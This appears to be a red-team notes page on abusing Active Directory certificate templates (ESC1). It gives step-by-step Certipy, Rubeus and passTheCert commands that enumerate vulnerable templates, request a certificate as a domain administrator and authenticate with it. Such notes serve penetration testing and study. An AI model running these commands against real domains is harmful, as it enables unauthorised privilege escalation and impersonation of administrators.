> For the complete documentation index, see [llms.txt](https://security.andreasbreum.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.andreasbreum.com/red-team/active-directory/certificates-in-ad.md).

# Certificates in AD

Read the [Certified Pre-Owned](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) white-paper to understand certificates and their attack vectors

## Certipy

[Certipy](https://github.com/ly4k/Certipy) is incomptible with Python 3.11 and greater atm. A quick solution is found [here](https://github.com/ly4k/Certipy/issues/108#issuecomment-1474511190)

To enumerate AD for vulnerable certifications, we can utilize this command:

```bash
sudo certipy-ad find -u 'user@domain' -dc-ip <dc-ip> -vulnerable -enabled
```

Certipy outputs the configuration details of interest in JSON and TXT files following the naming convention "\<DATE-TIMESTAMP>\_Certipy"

## ESC1

A certificate template with the ESC1 vulnerability allows low-privileged users to enroll and request a certificate for any domain object specified by the user. This means that any user with enrollment rights can request a certificate for a privileged account, such as a domain administrator.

Vulnerable templates have the following configurations:

* Client Authentication: True
* Enabled: True
* Enrollee Supplies Subject: True
* Requires Management Approval: False
* Authorized Signatures Required: 0

The Certipy command required to request a certificate includes the following arguments:

```
-u : username
-p : compromised user password
-dc-ip : domain controller IP address 
-target : target CA (Certificate Authority) DNS (Domain Name System) Name 
-ca : short CA Name 
-template : vulnerable template name 
-upn : target user/object name
```

The full Certipy command is shown below:

```bash
sudo certipy-ad req -u 'user@domain' \
-dc-ip '<dc-ip>' \
-target 'foobar-CA.foobar.com' \
-ca 'foobar-CA' \
-template 'FOO_Templ' \
-upn 'target_user@damin'
```

If everything goes well you'll get a certificate \<target\_user>.pfx which can then be used to request a TGT.

With Rubeus:

{% code overflow="wrap" %}

```powershell
Rubeus.exe asktgt /user:<target_user> /certificate:<path_to_cert>.pfx /domain:<domain> /dc:<domain-controller>
```

{% endcode %}

With Certipy:

{% code overflow="wrap" %}

```bash
sudo certipy-ad auth -pfx '<path_to_cert>.pfx' -username '<target_user>' -domain '<domain>' -dc-ip '<dc-ip>'
```

{% endcode %}

Note that if you get the error "KDC\_ERR\_PADATA\_TYPE\_NOSUPP" - PKINIT is not available. You can then instead try to connect with LDAP directly.

If you use Certipy to retrieve certificates, you can extract key and cert from the pfx by using:

```bash
certipy-ad cert -pfx user.pfx -nokey -out user.crt
certipy-ad cert -pfx user.pfx -nocert -out user.key
```

Then we can use [passTheCert.py](https://github.com/AlmondOffSec/PassTheCert) to perform different LDAP operations.

{% code overflow="wrap" %}

```bash
sudo python3 passthecert.py -action whoami -crt user.cert -key user.key -domain <domain> -dc-ip <dc-ip>
```

{% endcode %}
